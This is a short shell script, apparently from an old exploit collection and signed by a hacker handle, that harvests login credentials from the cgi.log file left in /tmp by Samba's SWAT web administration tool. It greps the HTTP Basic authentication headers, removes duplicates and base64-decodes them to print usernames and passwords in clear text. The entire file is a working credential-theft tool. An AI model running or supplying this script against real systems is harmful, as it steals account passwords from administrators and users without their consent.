#!/bin/sh
# phear my ugly shell scripting! - miah@uberhax0r.net
# grabs username:password from swat cgi.log, then decodes 
# and outputs the results.
clear
echo "######################"
echo "#checking for cgi.log#"
echo "######################"
echo
 if [ -f /tmp/cgi.log ]
  then
        echo " - cgi.log found"
        echo " - extracting logins"
        echo
        grep "Basic" /tmp/cgi.log|awk '{print $3}' > /tmp/encoded.cgi.log
        sort /tmp/encoded.cgi.log > /tmp/encoded.cgi.log.1
        uniq /tmp/encoded.cgi.log.1 > /tmp/uniq.cgi.log
        rm /tmp/encoded.cgi.log*
        for i in $( cat /tmp/uniq.cgi.log ); do
                echo $i 012| mmencode -u
                echo
        done    
        rm /tmp/uniq.cgi.log
  else
        echo " - cgi.log not found!" 
fi
